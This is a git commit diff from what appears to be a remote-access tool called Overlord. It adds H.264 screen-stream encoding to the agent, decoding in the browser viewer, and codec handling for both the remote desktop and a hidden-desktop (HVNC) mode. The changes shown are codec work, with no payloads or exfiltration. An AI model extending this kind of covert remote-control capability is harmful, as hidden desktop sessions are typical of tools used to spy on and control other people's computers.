vxaboveground/overlord
1
0
Fork 0
Code Issues Pull Requests Actions 1 Packages Projects Releases Wiki Activity

add h264. Should hopefully be good for now. not going to push docker build until fully tested.

Browse Source
This commit is contained in:
KingKDot
2026-03-05 14:45:15 -06:00
parent 049c99552c
commit ac64562ca7
12 changed files with 532 additions and 122 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Overlord-Client/cmd/agent/capture/capture.go
+46 -8
View File
@@ -22,6 +22,7 @@ import (
func Loop(ctx context.Context, env *rt.Env) {
defer recoverAndLog("capture loop", env.Cancel)
logCodecSupport()
if env.Cfg.DisableCapture {
log.Printf("capture: disabled by config, sending black placeholder")
@@ -288,6 +289,8 @@ var (
overrideQuality atomic.Int64
overrideCodec atomic.Value
h264WarnOnce sync.Once
codecLogOnce sync.Once
prevMu sync.Mutex
prevFrame *prevImage
@@ -299,6 +302,16 @@ type prevImage struct {
pix []byte
}
func logCodecSupport() {
codecLogOnce.Do(func() {
if h264Available() {
log.Printf("capture: codec support h264=enabled jpeg=enabled")
return
}
log.Printf("capture: codec support h264=disabled (cgo off), jpeg=enabled")
})
}
func frameFPS(now time.Time) int {
start := fpsWindowStart.Load()
if start == 0 {
@@ -357,6 +370,7 @@ func ResetPrev() {
prevMu.Unlock()
lastKeyframe.Store(0)
requestFullFrames(2)
resetH264Encoder()
}
func jpegQuality() int {
@@ -451,6 +465,22 @@ func buildFrame(img *image.RGBA, display int, quality int) (wire.Frame, time.Dur
now := time.Now()
codec := blockCodec()
if codec == "h264" {
h264Bytes, err := encodeH264Frame(img)
if err == nil && len(h264Bytes) > 0 {
prevMu.Lock()
copyPrev(img)
prevMu.Unlock()
lastKeyframe.Store(now.UnixNano())
statFullFrames.Add(1)
return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "h264"}, Data: h264Bytes}, time.Since(encStart), nil
}
h264WarnOnce.Do(func() {
log.Printf("capture: h264 encode unavailable, falling back to jpeg: %v", err)
})
codec = "jpeg"
}
if !enableBlocks {
jpegBytes, err := encodeJPEG(img, quality)
prevMu.Lock()
@@ -494,10 +524,8 @@ func buildFrame(img *image.RGBA, display int, quality int) (wire.Frame, time.Dur
}
if blocks == 0 {
prevMu.Lock()
copyPrev(img)
prevMu.Unlock()
// Keepalive frames indicate no block-level changes, so avoid copying the
// full RGBA buffer into prevFrame again.
statKeepaliveFrames.Add(1)
return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "blocks"}, Data: blockPayload}, encDur, nil
}
@@ -555,9 +583,8 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
}
if blocks == 0 {
prevMu.Lock()
copyPrev(img)
prevMu.Unlock()
// Keepalive frames indicate no block-level changes, so avoid copying the
// full RGBA buffer into prevFrame again.
statKeepaliveFrames.Add(1)
frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "blocks", HVNC: true}, Data: blockPayload}
return frame, encDur, nil
@@ -1125,6 +1152,8 @@ func blockCodec() string {
blockCodecOnce.Do(func() {
codec := strings.ToLower(os.Getenv(blockCodecEnv))
switch codec {
case "h264":
cachedBlockCodec = "h264"
case "raw", "rgba":
cachedBlockCodec = "raw"
case "jpeg", "":
@@ -1144,13 +1173,22 @@ func SetQualityAndCodec(quality int, codec string) {
overrideQuality.Store(int64(quality))
}
s := strings.ToLower(strings.TrimSpace(codec))
if s == "h264" && !h264Available() {
log.Printf("capture: requested codec=h264 but unavailable; forcing codec=jpeg")
s = "jpeg"
}
switch s {
case "raw", "rgba", "jpeg":
case "raw", "rgba", "jpeg", "h264":
overrideCodec.Store(s)
h264WarnOnce = sync.Once{}
if s != "h264" {
resetH264Encoder()
}
case "":
default:
overrideCodec.Store("jpeg")
resetH264Encoder()
}
}
Overlord-Client/cmd/agent/capture/h264_encoder_stub.go
+18
View File
@@ -0,0 +1,18 @@
//go:build !cgo
package capture
import (
"errors"
"image"
)
func encodeH264Frame(_ *image.RGBA) ([]byte, error) {
return nil, errors.New("h264 support not available (cgo disabled)")
}
func h264Available() bool {
return false
}
func resetH264Encoder() {}
Overlord-Client/cmd/agent/capture/h264_encoder_x264.go
+89
View File
@@ -0,0 +1,89 @@
//go:build cgo
package capture
import (
"bytes"
"image"
"sync"
x264 "github.com/gen2brain/x264-go"
)
var (
h264Mu sync.Mutex
h264Enc *x264.Encoder
h264Buf bytes.Buffer
h264Width int
h264Height int
)
func encodeH264Frame(img *image.RGBA) ([]byte, error) {
bounds := img.Bounds()
width := bounds.Dx()
height := bounds.Dy()
h264Mu.Lock()
defer h264Mu.Unlock()
if err := ensureH264EncoderLocked(width, height); err != nil {
return nil, err
}
h264Buf.Reset()
if err := h264Enc.Encode(img); err != nil {
return nil, err
}
out := make([]byte, h264Buf.Len())
copy(out, h264Buf.Bytes())
return out, nil
}
func h264Available() bool {
return true
}
func ensureH264EncoderLocked(width, height int) error {
if h264Enc != nil && h264Width == width && h264Height == height {
return nil
}
closeH264EncoderLocked()
opts := &x264.Options{
Width: width,
Height: height,
FrameRate: 25,
Tune: "zerolatency",
Preset: "ultrafast",
Profile: "baseline",
LogLevel: x264.LogError,
}
enc, err := x264.NewEncoder(&h264Buf, opts)
if err != nil {
return err
}
h264Enc = enc
h264Width = width
h264Height = height
return nil
}
func resetH264Encoder() {
h264Mu.Lock()
defer h264Mu.Unlock()
closeH264EncoderLocked()
}
func closeH264EncoderLocked() {
if h264Enc != nil {
_ = h264Enc.Close()
h264Enc = nil
}
h264Width = 0
h264Height = 0
h264Buf.Reset()
}
Overlord-Client/cmd/agent/handlers/desktop.go
+6 -2
View File
@@ -27,8 +27,12 @@ func GetPersistedDisplay() int {
}
func DesktopStart(ctx context.Context, env *rt.Env) error {
interval, fps := streamInterval("OVERLORD_DESKTOP_MAX_FPS", 60)
log.Printf("desktop: starting stream (max fps %d)", fps)
interval, fps := streamInterval("OVERLORD_DESKTOP_MAX_FPS", 120)
if fps < 60 {
fps = 60
interval = time.Second / time.Duration(fps)
}
log.Printf("desktop: starting stream (target fps %d)", fps)
ticker := time.NewTicker(interval)
defer ticker.Stop()
for {
Overlord-Client/cmd/agent/handlers/stream_limit.go
+2 -2
View File
@@ -21,8 +21,8 @@ func streamInterval(envVar string, defFPS int) (time.Duration, int) {
if fps < 1 {
fps = 1
}
if fps > 120 {
fps = 120
if fps > 1000 {
fps = 1000
}
return time.Second / time.Duration(fps), fps
}
Overlord-Client/go.mod
+4 -1
View File
@@ -1,9 +1,10 @@
module overlord-client
go 1.21
go 1.23
require (
github.com/creack/pty v1.1.21
github.com/gen2brain/x264-go v0.3.1 // optional: used when cgo is enabled
github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018
github.com/pixiv/go-libjpeg v0.0.0-20190822045933-3da21a74767d // optional: turbojpeg build tag
github.com/tetratelabs/wazero v1.7.0
@@ -15,6 +16,8 @@ require golang.org/x/sys v0.24.0
require (
github.com/gen2brain/shm v0.1.0 // indirect
github.com/gen2brain/x264-go/x264c v0.0.0-20241022182000-732e1bdb7da2 // indirect
github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2 // indirect
github.com/godbus/dbus/v5 v5.1.0 // indirect
github.com/jezek/xgb v1.1.1 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
Overlord-Client/go.sum
+6
View File
@@ -4,6 +4,12 @@ github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/gen2brain/shm v0.1.0 h1:MwPeg+zJQXN0RM9o+HqaSFypNoNEcNpeoGp0BTSx2YY=
github.com/gen2brain/shm v0.1.0/go.mod h1:UgIcVtvmOu+aCJpqJX7GOtiN7X2ct+TKLg4RTxwPIUA=
github.com/gen2brain/x264-go v0.3.1 h1:XFi6y8HM5BCMrP4kR/o711iBU++XNfLOY3PG8Alz2kU=
github.com/gen2brain/x264-go v0.3.1/go.mod h1:+Z4VKXQrUKzbfEv36GyiyjXfixmOp2c820ugsMthW18=
github.com/gen2brain/x264-go/x264c v0.0.0-20241022182000-732e1bdb7da2 h1:aS40m/Q+6z0ID7EVegxnnw3lWHUceGbg0zucbo7335I=
github.com/gen2brain/x264-go/x264c v0.0.0-20241022182000-732e1bdb7da2/go.mod h1:r2t0/BO5YgPRwWQpLYO5iB5FLSj1ArTQc/zmAoAV7sQ=
github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2 h1:lihaRUKRj94EWVZRp1jTmEiIxmvjEiSb9fJl2xftrXY=
github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2/go.mod h1:PzzJntdOaVt4Gc37fNaEXpqmhKkUgd/xqyPMUfx+FQc=
github.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk=
github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/jezek/xgb v1.1.1 h1:bE/r8ZZtSv7l9gk6nU0mYx51aXrvnyb44892TwSaqS4=
Overlord-Server/public/assets/remotedesktop.js
+318 -96
View File
@@ -29,6 +29,8 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
const smoothingValue = document.getElementById("smoothingValue");
const qualitySlider = document.getElementById("qualitySlider");
const qualityValue = document.getElementById("qualityValue");
const codecH264 = document.getElementById("codecH264");
const codecMode = document.getElementById("codecMode");
const canvas = document.getElementById("frameCanvas");
const canvasContainer = document.getElementById("canvasContainer");
const ctx = canvas.getContext("2d");
@@ -53,9 +55,36 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
let smoothPoint = null;
let pendingMove = null;
let moveTimer = null;
let frameDecodeBusy = false;
let pendingFrame = null;
let videoDecoder = null;
let h264TimestampUs = 0;
const codecPrefKey = "rdCodecPreferH264";
let prefersH264 = typeof VideoDecoder === "function";
let h264LowFpsStreak = 0;
const mouseMoveIntervalMs = 33;
const inputBackpressureBytes = 256 * 1024;
let lastMoveSentAt = 0;
const storedCodecPref = localStorage.getItem(codecPrefKey);
if (storedCodecPref === "0") {
prefersH264 = false;
} else if (storedCodecPref === "1") {
prefersH264 = typeof VideoDecoder === "function";
}
if (codecH264) {
codecH264.checked = prefersH264;
codecH264.disabled = typeof VideoDecoder !== "function";
}
function setCodecModeLabel(mode, detail) {
if (!codecMode) return;
const suffix = detail ? ` (${detail})` : "";
codecMode.textContent = `Codec: ${String(mode || "auto").toUpperCase()}${suffix}`;
}
setCodecModeLabel(prefersH264 ? "h264" : "jpeg", "preferred");
setStreamState("connecting", "Connecting");
function updateFpsDisplay(agentValue) {
@@ -272,11 +301,26 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
function pushQuality(val) {
const q = Number(val) || 90;
const codec = q >= 100 ? "raw" : "jpeg";
const codec = q >= 100 ? "raw" : (prefersH264 ? "h264" : "jpeg");
console.debug("rd: pushQuality val=", val, "q=", q, "codec=", codec);
setCodecModeLabel(codec, "requested");
sendCmd("desktop_set_quality", { quality: q, codec });
}
if (codecH264) {
codecH264.addEventListener("change", function () {
prefersH264 = !!codecH264.checked && typeof VideoDecoder === "function";
localStorage.setItem(codecPrefKey, prefersH264 ? "1" : "0");
if (!prefersH264) {
destroyVideoDecoder();
h264LowFpsStreak = 0;
}
if (qualitySlider) {
pushQuality(qualitySlider.value);
}
});
}
displaySelect.addEventListener("change", function () {
console.debug("rd: select display", displaySelect.value);
sendCmd("desktop_select_display", {
@@ -374,110 +418,285 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
});
}
ws.addEventListener("message", async function (ev) {
if (ev.data instanceof ArrayBuffer) {
const buf = new Uint8Array(ev.data);
if (buf.length >= 8 && buf[0] === 0x46 && buf[1] === 0x52 && buf[2] === 0x4d) {
const fps = buf[5];
const format = buf[6];
lastFrameAt = performance.now();
clearOfflineTimer();
if (streamState !== "streaming") {
if (desiredStreaming) {
setStreamState("streaming", "Streaming");
}
}
function isFramePacket(buf) {
return buf.length >= 8 && buf[0] === 0x46 && buf[1] === 0x52 && buf[2] === 0x4d;
}
if (format === 1) {
const jpegBytes = buf.slice(8);
const blob = new Blob([jpegBytes], { type: "image/jpeg" });
try {
const bitmap = await createImageBitmap(blob);
frameWidth = bitmap.width || frameWidth;
frameHeight = bitmap.height || frameHeight;
canvas.width = bitmap.width;
canvas.height = bitmap.height;
ctx.drawImage(bitmap, 0, 0);
bitmap.close();
updateFpsDisplay(fps);
} catch {
const img = new Image();
const url = URL.createObjectURL(blob);
img.onload = function () {
frameWidth = img.width || frameWidth;
frameHeight = img.height || frameHeight;
canvas.width = img.width;
canvas.height = img.height;
ctx.drawImage(img, 0, 0);
URL.revokeObjectURL(url);
updateFpsDisplay(fps);
};
img.src = url;
}
return;
}
function markFrameReceived() {
lastFrameAt = performance.now();
clearOfflineTimer();
if (streamState !== "streaming" && desiredStreaming) {
setStreamState("streaming", "Streaming");
}
}
if (format === 2 || format === 3) {
if (buf.length < 8 + 8) return;
const dv = new DataView(buf.buffer, 8);
let pos = 0;
const width = dv.getUint16(pos, true);
pos += 2;
const height = dv.getUint16(pos, true);
pos += 2;
if (width > 0 && height > 0) {
function drawJpegFallback(blob, target) {
return new Promise((resolve) => {
const img = new Image();
const url = URL.createObjectURL(blob);
img.onload = function () {
if (target) {
ctx.drawImage(img, target.x, target.y, target.w, target.h);
} else {
frameWidth = img.width || frameWidth;
frameHeight = img.height || frameHeight;
canvas.width = img.width;
canvas.height = img.height;
ctx.drawImage(img, 0, 0);
}
URL.revokeObjectURL(url);
resolve(true);
};
img.onerror = function () {
URL.revokeObjectURL(url);
resolve(false);
};
img.src = url;
});
}
async function drawJpegSlice(slice, target) {
const blob = new Blob([slice], { type: "image/jpeg" });
try {
const bitmap = await createImageBitmap(blob);
if (target) {
ctx.drawImage(bitmap, target.x, target.y, target.w, target.h);
} else {
frameWidth = bitmap.width || frameWidth;
frameHeight = bitmap.height || frameHeight;
canvas.width = bitmap.width;
canvas.height = bitmap.height;
ctx.drawImage(bitmap, 0, 0);
}
bitmap.close();
return true;
} catch {
return drawJpegFallback(blob, target);
}
}
function destroyVideoDecoder() {
if (!videoDecoder) return;
try {
videoDecoder.close();
} catch {
// Ignore close errors when decoder is already shutting down.
}
videoDecoder = null;
h264TimestampUs = 0;
}
function fallbackToJpegCodec(reason) {
if (!prefersH264) return;
prefersH264 = false;
h264LowFpsStreak = 0;
destroyVideoDecoder();
if (codecH264) codecH264.checked = false;
localStorage.setItem(codecPrefKey, "0");
console.warn("rd: falling back to jpeg codec", reason || "");
const q = Number(qualitySlider?.value) || 90;
setCodecModeLabel("jpeg", "fallback");
if (ws.readyState === WebSocket.OPEN) {
sendCmd("desktop_set_quality", { quality: q, codec: "jpeg" });
}
}
function isH264KeyFrame(data) {
for (let i = 0; i + 4 < data.length; i++) {
let startCodeLen = 0;
if (data[i] === 0x00 && data[i + 1] === 0x00 && data[i + 2] === 0x01) {
startCodeLen = 3;
} else if (
i + 4 < data.length &&
data[i] === 0x00 &&
data[i + 1] === 0x00 &&
data[i + 2] === 0x00 &&
data[i + 3] === 0x01
) {
startCodeLen = 4;
}
if (!startCodeLen) continue;
const nalIndex = i + startCodeLen;
if (nalIndex >= data.length) break;
const nalType = data[nalIndex] & 0x1f;
if (nalType === 5) {
return true;
}
i = nalIndex;
}
return false;
}
function ensureVideoDecoder() {
if (videoDecoder) {
return true;
}
if (typeof VideoDecoder !== "function") {
return false;
}
try {
videoDecoder = new VideoDecoder({
output: (frame) => {
const width = frame.displayWidth || frame.codedWidth || frameWidth;
const height = frame.displayHeight || frame.codedHeight || frameHeight;
if (width > 0 && height > 0 && (canvas.width !== width || canvas.height !== height)) {
canvas.width = width;
canvas.height = height;
frameWidth = width;
frameHeight = height;
}
const blockCount = dv.getUint16(pos, true);
pos += 2;
pos += 2;
try {
ctx.drawImage(frame, 0, 0, canvas.width, canvas.height);
} finally {
frame.close();
}
},
error: (err) => {
console.warn("rd: h264 decoder error", err);
},
});
videoDecoder.configure({ codec: "avc1.42E01E", optimizeForLatency: true });
return true;
} catch (err) {
console.warn("rd: h264 decoder unavailable", err);
fallbackToJpegCodec(err);
destroyVideoDecoder();
return false;
}
}
if (
width > 0 &&
height > 0 &&
(canvas.width !== width || canvas.height !== height)
) {
canvas.width = width;
canvas.height = height;
}
for (let i = 0; i < blockCount; i++) {
if (pos + 12 > dv.byteLength) break;
const x = dv.getUint16(pos, true);
pos += 2;
const y = dv.getUint16(pos, true);
pos += 2;
const w = dv.getUint16(pos, true);
pos += 2;
const h = dv.getUint16(pos, true);
pos += 2;
const len = dv.getUint32(pos, true);
pos += 4;
const start = 8 + pos;
const end = start + len;
if (end > buf.length) break;
const slice = buf.subarray(start, end);
pos += len;
if (format === 2) {
try {
const bitmap = await createImageBitmap(
new Blob([slice], { type: "image/jpeg" }),
);
ctx.drawImage(bitmap, x, y, w, h);
bitmap.close();
} catch {}
} else {
if (slice.length === w * h * 4) {
const imgData = new ImageData(new Uint8ClampedArray(slice), w, h);
ctx.putImageData(imgData, x, y);
}
}
}
updateFpsDisplay(fps);
return;
async function processFrameBuffer(buf) {
const fps = buf[5];
const format = buf[6];
if (format === 1) {
const jpegBytes = buf.slice(8);
setCodecModeLabel("jpeg", "active");
await drawJpegSlice(jpegBytes, null);
updateFpsDisplay(fps);
return;
}
if (format === 2 || format === 3) {
setCodecModeLabel(format === 3 ? "raw" : "jpeg", format === 3 ? "blocks" : "blocks");
if (buf.length < 16) return;
const dv = new DataView(buf.buffer, 8);
let pos = 0;
const width = dv.getUint16(pos, true);
pos += 2;
const height = dv.getUint16(pos, true);
pos += 2;
if (width > 0 && height > 0) {
frameWidth = width;
frameHeight = height;
}
const blockCount = dv.getUint16(pos, true);
pos += 2;
pos += 2;
if (
width > 0 &&
height > 0 &&
(canvas.width !== width || canvas.height !== height)
) {
canvas.width = width;
canvas.height = height;
}
for (let i = 0; i < blockCount; i++) {
if (pos + 12 > dv.byteLength) break;
const x = dv.getUint16(pos, true);
pos += 2;
const y = dv.getUint16(pos, true);
pos += 2;
const w = dv.getUint16(pos, true);
pos += 2;
const h = dv.getUint16(pos, true);
pos += 2;
const len = dv.getUint32(pos, true);
pos += 4;
const start = 8 + pos;
const end = start + len;
if (end > buf.length) break;
const slice = buf.subarray(start, end);
pos += len;
if (format === 2) {
await drawJpegSlice(slice, { x, y, w, h });
} else if (slice.length === w * h * 4) {
const imgData = new ImageData(new Uint8ClampedArray(slice), w, h);
ctx.putImageData(imgData, x, y);
}
}
updateFpsDisplay(fps);
return;
}
if (format === 4) {
setCodecModeLabel("h264", "active");
const h264Bytes = buf.slice(8);
if (!h264Bytes.length) return;
if (!ensureVideoDecoder()) {
fallbackToJpegCodec("WebCodecs decoder unavailable");
return;
}
// If software H264 encode on the agent cannot keep up, automatically
// fall back to JPEG blocks for a smoother interactive stream.
if ((fps || 0) <= 6) {
h264LowFpsStreak += 1;
} else {
h264LowFpsStreak = 0;
}
if (h264LowFpsStreak >= 24) {
fallbackToJpegCodec(`low h264 fps (${fps})`);
return;
}
const frameIntervalUs = Math.floor(1_000_000 / Math.max(1, fps || 25));
const chunk = new EncodedVideoChunk({
type: isH264KeyFrame(h264Bytes) ? "key" : "delta",
timestamp: h264TimestampUs,
data: h264Bytes,
});
h264TimestampUs += frameIntervalUs;
try {
videoDecoder.decode(chunk);
updateFpsDisplay(fps);
} catch (err) {
console.warn("rd: h264 decode failed", err);
fallbackToJpegCodec(err);
}
}
}
function flushPendingFrame() {
if (frameDecodeBusy || !pendingFrame) {
return;
}
const next = pendingFrame;
pendingFrame = null;
frameDecodeBusy = true;
processFrameBuffer(next).finally(() => {
frameDecodeBusy = false;
if (pendingFrame) {
flushPendingFrame();
}
});
}
ws.addEventListener("message", function (ev) {
if (ev.data instanceof ArrayBuffer) {
const buf = new Uint8Array(ev.data);
if (isFramePacket(buf)) {
markFrameReceived();
// Coalesce bursty arrivals so the renderer catches up to the newest frame.
pendingFrame = buf;
flushPendingFrame();
return;
}
const msg = decodeMsgpack(buf);
if (msg && msg.type === "status" && msg.status) {
handleStatus(msg);
@@ -521,10 +740,12 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
ws.addEventListener("close", function () {
desiredStreaming = false;
destroyVideoDecoder();
setStreamState("disconnected", "Disconnected");
});
ws.addEventListener("error", function () {
destroyVideoDecoder();
setStreamState("error", "WebSocket error");
});
@@ -660,6 +881,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
desiredStreaming = false;
sendCmd("desktop_stop", {});
}
destroyVideoDecoder();
}
window.addEventListener("beforeunload", stopOnExit);
Overlord-Server/public/remotedesktop.html
+8
View File
@@ -58,6 +58,14 @@
>95%</span
>
</div>
<div
class="bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 flex items-center gap-3 text-sm text-slate-300"
>
<label class="flex items-center gap-2 text-slate-200" title="Prefer H.264 when available; disable to force JPEG">
<input type="checkbox" id="codecH264" checked /> H.264
</label>
<span id="codecMode" class="pill pill-ghost text-slate-100">Codec: auto</span>
</div>
<div class="flex items-center gap-2">
<button id="startBtn" class="button primary">
<i class="fa-solid fa-play"></i><span>Start</span>
Overlord-Server/src/protocol.ts
+1 -1
View File
@@ -100,7 +100,7 @@ export type ScreenshotResult = {
export type FrameHeader = {
monitor: number;
fps: number;
format: "jpeg" | "webp" | "raw";
format: "jpeg" | "webp" | "raw" | "h264";
hash?: string;
hvnc?: boolean;
};
Overlord-Server/src/server/ws-console-rd-hvnc.ts
+28 -12
View File
@@ -42,7 +42,13 @@ function safeSendViewerFrame(ws: ServerWebSocket<SocketData>, bytes: Uint8Array,
meta[3] = 1;
meta[4] = (header?.monitor ?? 0) & 0xff;
meta[5] = (header?.fps ?? 0) & 0xff;
const fmt = header?.format === "blocks" ? 2 : header?.format === "blocks_raw" ? 3 : 1;
const fmt = header?.format === "blocks"
? 2
: header?.format === "blocks_raw"
? 3
: header?.format === "h264"
? 4
: 1;
meta[6] = fmt;
meta[7] = 0;
@@ -59,7 +65,13 @@ function safeSendViewerFrame(ws: ServerWebSocket<SocketData>, bytes: Uint8Array,
}
const rdSendStats = { lastLog: 0, frames: 0, sendMs: 0, bytes: 0 };
export const rdStreamingState = new Map<string, { isStreaming: boolean; display: number; quality: number; duplication: boolean }>();
export const rdStreamingState = new Map<string, {
isStreaming: boolean;
display: number;
quality: number;
codec: string;
duplication: boolean;
}>();
const rdInputPending = new Map<string, { clientId: string; sentAt: number; kind: string }>();
const RD_INPUT_TTL_MS = 10_000;
@@ -208,7 +220,7 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
return;
}
const state = rdStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90, duplication: false };
const state = rdStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90, codec: "", duplication: false };
logger.debug(`[rd] inbound viewer msg type=${payload.type} client=${clientId}`);
switch (payload.type) {
@@ -247,11 +259,13 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
}
case "desktop_set_quality": {
const newQuality = Number(payload.quality) || 90;
if (state.quality !== newQuality) {
sendDesktopCommand(target, "desktop_set_quality", { quality: newQuality, codec: payload.codec || "" });
const newCodec = String(payload.codec || "").toLowerCase();
if (state.quality !== newQuality || state.codec !== newCodec) {
sendDesktopCommand(target, "desktop_set_quality", { quality: newQuality, codec: newCodec });
state.quality = newQuality;
state.codec = newCodec;
rdStreamingState.set(clientId, state);
logger.debug(`[rd] set quality to ${newQuality}`);
logger.debug(`[rd] set quality=${newQuality} codec=${newCodec || "(default)"}`);
}
break;
}
@@ -328,7 +342,7 @@ function handleRemoteDesktopFrame(payload: any) {
const header = payload.header;
const bytes = payload.data as Uint8Array;
const t0 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now();
const state = rdStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90, duplication: false };
const state = rdStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90, codec: "", duplication: false };
if (!state.isStreaming) {
rdStreamingState.set(clientId, { ...state, isStreaming: true });
}
@@ -359,7 +373,7 @@ function handleRemoteDesktopFrame(payload: any) {
return sent;
};
export const hvncStreamingState = new Map<string, { isStreaming: boolean; display: number; quality: number }>();
export const hvncStreamingState = new Map<string, { isStreaming: boolean; display: number; quality: number; codec: string }>();
export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
const { clientId } = ws.data;
@@ -398,7 +412,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
return;
}
const state = hvncStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90 };
const state = hvncStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90, codec: "" };
logger.debug(`[hvnc] inbound viewer msg type=${payload.type} client=${clientId}`);
switch (payload.type) {
@@ -434,11 +448,13 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
}
case "hvnc_set_quality": {
const newQuality = Number(payload.quality) || 90;
if (state.quality !== newQuality) {
sendHVNCCommand(target, "hvnc_set_quality", { quality: newQuality, codec: payload.codec || "" });
const newCodec = String(payload.codec || "").toLowerCase();
if (state.quality !== newQuality || state.codec !== newCodec) {
sendHVNCCommand(target, "hvnc_set_quality", { quality: newQuality, codec: newCodec });
state.quality = newQuality;
state.codec = newCodec;
hvncStreamingState.set(clientId, state);
logger.debug(`[hvnc] set quality to ${newQuality}`);
logger.debug(`[hvnc] set quality=${newQuality} codec=${newCodec || "(default)"}`);
}
break;
}
go.work.sum
+6
View File
@@ -0,0 +1,6 @@
github.com/gen2brain/x264-go v0.3.1 h1:XFi6y8HM5BCMrP4kR/o711iBU++XNfLOY3PG8Alz2kU=
github.com/gen2brain/x264-go v0.3.1/go.mod h1:+Z4VKXQrUKzbfEv36GyiyjXfixmOp2c820ugsMthW18=
github.com/gen2brain/x264-go/x264c v0.0.0-20221204084822-82ee2951dea2 h1:4GzTsZK/uG+tHvWR2ORcTCGTC4+mgOPhkUdz/Ro9alg=
github.com/gen2brain/x264-go/x264c v0.0.0-20221204084822-82ee2951dea2/go.mod h1:MUMv+ZURlTO3qH8QAt2gxiIY5X4NMaxObz2ImZOMvyA=
github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2 h1:lihaRUKRj94EWVZRp1jTmEiIxmvjEiSb9fJl2xftrXY=
github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2/go.mod h1:PzzJntdOaVt4Gc37fNaEXpqmhKkUgd/xqyPMUfx+FQc=